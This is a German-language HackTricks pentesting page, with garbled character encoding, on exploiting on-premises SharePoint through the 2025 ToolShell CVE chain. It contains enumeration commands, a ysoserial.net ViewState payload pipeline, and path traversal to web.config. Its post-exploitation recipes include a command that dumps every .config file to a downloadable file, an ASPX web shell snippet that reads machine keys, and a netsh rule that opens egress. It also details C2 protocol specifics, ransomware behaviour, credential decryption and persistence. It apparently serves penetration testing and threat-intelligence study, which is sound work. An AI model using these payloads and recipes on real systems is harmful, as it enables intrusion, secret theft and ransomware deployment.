Microsoft SharePoint â Pentesting & Exploitation
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Microsoft SharePoint (on-premises) basiert auf ASP.NET/IIS. Die meisten klassischen Web-AngriffsflĂ€chen (ViewState, Web.Config, web shells, etc.) sind daher vorhanden, aber SharePoint enthĂ€lt auĂerdem Hunderte proprietĂ€rer ASPX-Seiten und Web-Services, die die exponierte AngriffsflĂ€che dramatisch vergröĂern. Diese Seite sammelt praktische Tricks, um SharePoint-Umgebungen zu enumerate, exploit und persist, mit Schwerpunkt auf der 2025 exploit chain, die von Unit42 offengelegt wurde (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 Exploit-Kette (a.k.a. âToolShellâ)
2.1 CVE-2025-49704 â Code Injection on ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=âŠ&DefaultWebPartId=<payload> ermöglicht das Injizieren beliebigen Server-Side Include-Codes in die Seite, der spĂ€ter von ASP.NET kompiliert wird. Ein Angreifer kann C# einbetten, das Process.Start() ausfĂŒhrt, und eine bösartige ViewState ablegen.
2.2 CVE-2025-49706 â Improper Authentication Bypass
Die gleiche Seite vertraut dem X-Forms_BaseUrl-Header, um den Site-Kontext zu bestimmen. Durch das Setzen desselben auf /_layouts/15/ kann MFA/SSO, das auf der Root-Site erzwungen wird, unauthenticated umgangen werden.
2.3 CVE-2025-53770 â Unauthenticated ViewState Deserialization â RCE
Sobald der Angreifer ein Gadget in ToolPane.aspx kontrolliert, kann er einen unsigned (oder MAC-only) __VIEWSTATE-Wert posten, der .NET-Deserialisierung innerhalb von w3wp.exe auslöst und zur CodeausfĂŒhrung fĂŒhrt.
Wenn Signing aktiviert ist, stiehlt man den ValidationKey/DecryptionKey aus einer beliebigen web.config (siehe 2.4) und fÀlscht die Nutzlast mit ysoserial.net oder ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
FĂŒr eine ausfĂŒhrliche ErklĂ€rung zum Missbrauch von ASP.NET ViewState lesen Sie:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 â Path Traversal / web.config Disclosure
Durch Senden eines manipulierten Source-Parameters an ToolPane.aspx (z. B. ../../../../web.config) wird die angezielte Datei zurĂŒckgegeben, wodurch die Offenlegung von folgenden Informationen möglich ist:
<machineKey validationKey="âŠ" decryptionKey="âŠ">â forge ViewState / ASPXAUTH cookies- Verbindungsstrings & Geheimnisse.
2.5 ToolShell workflow observed in Ink Dragon intrusions
Check Point hat abgebildet, wie Ink Dragon die ToolShell-Kette monatelang operationalisierte, bevor Microsoft Fixes auslieferte:
- Header spoofing for auth bypass â der Akteur sendet POST-Anfragen an
/_layouts/15/ToolPane.aspxmitReferer: https://<victim>/_layouts/15/sowie einem gefĂ€lschtenX-Forms_BaseUrl. Diese Header ĂŒberzeugen SharePoint, dass die Anfrage von einem vertrauenswĂŒrdigen Layout stammt, und umgehen vollstĂ€ndig die Front-Door-Authentifizierung (CVE-2025-49706/CVE-2025-53771). - Serialized gadget in the same request â der Body enthĂ€lt vom Angreifer kontrollierte ViewState/ToolPart-Daten, die den verwundbaren serverseitigen Formatter erreichen (CVE-2025-49704/CVE-2025-53770). Die Payload ist ĂŒblicherweise eine ysoserial.net-Kette, die innerhalb von
w3wp.exelĂ€uft, ohne jemals die Festplatte zu berĂŒhren. - Internet-scale scanning â die Telemetrie aus Juli 2025 zeigt, dass sie jeden erreichbaren
/_layouts/15/ToolPane.aspx-Endpunkt enumerieren und ein Wörterbuch geleakter<machineKey>-Paare abspielen. Jede Site, die einen Beispiel-validationKeyaus Dokumentation kopiert hat, kann kompromittiert werden, selbst wenn sie sonst vollstĂ€ndig gepatcht ist (siehe die ViewState-Seite fĂŒr den Signing-Workflow). - Immediate staging â erfolgreiche Exploitation legt einen Loader oder PowerShell-Stager ab, der: (1) jede
web.configausliest, (2) eine ASPX webshell als Notfallzugang ablegt, und (3) einen lokalen Potato privesc plant, um dem IIS-Worker zu entkommen.
3. Post-exploitation recipes observed in the wild
3.1 Exfiltrate every .config file (variation-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Die resultierende debug_dev.js kann anonym heruntergeladen werden und enthÀlt alle sensiblen Konfigurationen.
3.2 Bereitstellen einer Base64-kodierten ASPX web shell (variation-2)
powershell.exe -EncodedCommand <base64>
Dekodiertes payload-Beispiel (gekĂŒrzt):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Geschrieben in:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
Die shell exponiert Endpunkte, um MaschinenschlĂŒssel zu lesen / zu rotieren, was das Forging von ViewState- und ASPXAUTH-Cookies ĂŒber die Farm hinweg ermöglicht.
3.3 Obfuscated variant (variation-3)
Dasselbe shell, aber:
- dropped under
...\15\TEMPLATE\LAYOUTS\ - Variablennamen auf einzelne Buchstaben reduziert
Thread.Sleep(<ms>)hinzugefĂŒgt fĂŒr sandbox-evasion & timing-based AV bypass.
3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (beobachtet 2025â2026)
Aktuelle Incident-Response-Untersuchungen (Unit42 âProject AK47â) zeigen, wie Angreifer die ToolShell-Kette nach initialer RCE nutzen, um ein duales C2-Implantat und Ransomware in SharePoint-Umgebungen auszurollen:
AK47C2 â dnsclient variant
- Hardcodierter DNS-Server:
10.7.66.10, der mit der autoritativen Domainupdate.updatemicfosoft.comkommuniziert. - Nachrichten sind JSON-Objekte, XOR-verschlĂŒsselt mit dem statischen Key
VHBD@H, hex-kodiert und als Subdomain-Labels eingebettet.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Lange Abfragen werden in Chunks aufgeteilt und mit
svorangestellt, dann serverseitig wieder zusammengesetzt. - Server-Antworten in TXT-Records verwenden dasselbe XOR/hex-Schema:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Version 202504 fĂŒhrte ein vereinfachtes Format
<COMMAND>::<SESSION_KEY>und Chunk-Marker1,2,aein.
AK47C2 â httpclient variant
- Verwendet dieselbe JSON- & XOR-Routine, sendet den Hex-Blob jedoch im HTTP POST body ĂŒber
libcurl(CURLOPT_POSTFIELDS, etc.). - Gleicher Task-/Result-Workflow, der Folgendes ermöglicht:
- Beliebige Shell-BefehlsausfĂŒhrung.
- Dynamisches Sleep-Intervall und kill-switch-Anweisungen.
X2ANYLOCK ransomware
- 64-bit C++ Payload geladen via DLL side-loading (siehe unten).
- Verwendet AES-CBC fĂŒr Datei-Daten + RSA-2048 zur UmhĂŒllung des AES-SchlĂŒssels, dann hĂ€ngt es die Extension
.x2anylockan. - VerschlĂŒsselt rekursiv lokale Laufwerke und gefundene SMB-Shares; ĂŒberspringt Systempfade.
- HinterlÀsst eine Klartext-Notiz
How to decrypt my data.txt, die eine statische Tox ID fĂŒr Verhandlungen einbettet. - EnthĂ€lt einen internen kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);
DLL side-loading chain
- Angreifer platziert
dllhijacked.dll/My7zdllhijacked.dllneben eine legitime7z.exe. - Vom SharePoint gestartetes
w3wp.exestartet7z.exe, das aufgrund der Windows-Suchreihenfolge die bösartige DLL lÀdt und den Ransomware-Entrypoint im Speicher aufruft. - Ein separater LockBit-Loader wurde beobachtet (
bbb.msiâclink_x86.exeâclink_dll_x86.dll), entschlĂŒsselt Shellcode und fĂŒhrt DLL hollowing ind3dl1.dlldurch, um LockBit 3.0 auszufĂŒhren.
[!INFO] Dieselbe statische Tox ID, die in X2ANYLOCK gefunden wurde, erscheint in leaked LockBit-Datenbanken und deutet auf Ăberschneidungen bei Affiliates hin.
3.5 Turning SharePoint loot into lateral movement
- Jeden geschĂŒtzten Abschnitt entschlĂŒsseln â sobald man auf dem Web-Tier sitzt, missbrauche
aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri(oder-px "appSettings") um die Klartext-Secrets zu dumpen, die sich hinter<connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">verstecken. Ink Dragon hat auf diese Weise wiederholt SQL-Logins, SMTP-Relays und benutzerdefinierte Service-Credentials geerntet. - App-Pool-Konten ĂŒber Farms wiederverwenden â viele Unternehmen verwenden dasselbe DomĂ€nenkonto fĂŒr
IIS APPPOOL\SharePointauf jedem Front-End. Nach dem EntschlĂŒsseln vonidentity impersonate="..."-Blöcken oder dem Lesen vonApplicationHost.config, teste die Credentials ĂŒber SMB/RDP/WinRM an jeden anderen Server. In mehreren VorfĂ€llen war das Konto auch ein lokaler Administrator, waspsexec,sc createoder Scheduled-Task-Staging ermöglichte, ohne Password-Sprays auszulösen. - Abuse leaked
<machineKey>values internally â selbst wenn der Internet-Perimeter gepatcht wird, ermöglicht die Wiederverwendung desselbenvalidationKey/decryptionKeylaterale ViewState-Exploitation zwischen internen SharePoint-Zonen, die einander vertrauen.
3.6 Persistenzmuster, die in den Intrusionen 2025 beobachtet wurden
- Geplante Tasks â eine einmalige Aufgabe namens
SYSCHECK(oder andere gesundheitsbezogene Namen) wird mit/ru SYSTEM /sc once /st <hh:mm>erstellt, um den Next-Stage-Loader zu starten (hĂ€ufig ein umbenanntesconhost.exe). Da sie einmalig ausgefĂŒhrt wird, geht sie in der Telemetrie oft verloren, es sei denn, historisches Task-XML wird aufbewahrt. - Maskierte Services â Dienste wie
WindowsTempUpdate,WaaSMaintaineroderMicrosoftTelemetryHostwerden viasc createinstalliert, die auf das sideloading triad-Verzeichnis zeigen. Die Binaries behalten ihre ursprĂŒnglichen AMD/Realtek/NVIDIA-Signaturen, werden aber umbenannt, um Windows-Komponenten zu entsprechen; der Vergleich des On-Disk-Namens mit demOriginalFileNamePE-Feld ist ein schneller IntegritĂ€tscheck.
3.7 Host firewall downgrades for relay traffic
Ink Dragon fĂŒgt routinemĂ€Ăig eine freizĂŒgige ausgehende Regel hinzu, die sich als Defender-Wartung tarnt, sodass ShadowPad/FinalDraft-Traffic ĂŒber jeden Port ausgehend passieren kann:
netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any
Da die Regel lokal erstellt wird (nicht via GPO) und das legitime Defender-Binary als program= verwendet, ignorieren die meisten SOC-Baselines sie; dennoch öffnet sie Any â Any egress.
Verwandte Tricks
- IIS post-exploitation & web.config Missbrauch:
IIS - Internet Information Services
Quellen
- Unit42 â Active Exploitation of Microsoft SharePoint Vulnerabilities
- GitHub PoC â ToolShell exploit chain
- Microsoft Security Advisory â CVE-2025-49704 / 49706
- Unit42 â Project AK47 / SharePoint Exploitation & Ransomware Activity
- Microsoft Security Advisory â CVE-2025-53770 / 53771
- Check Point Research â Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


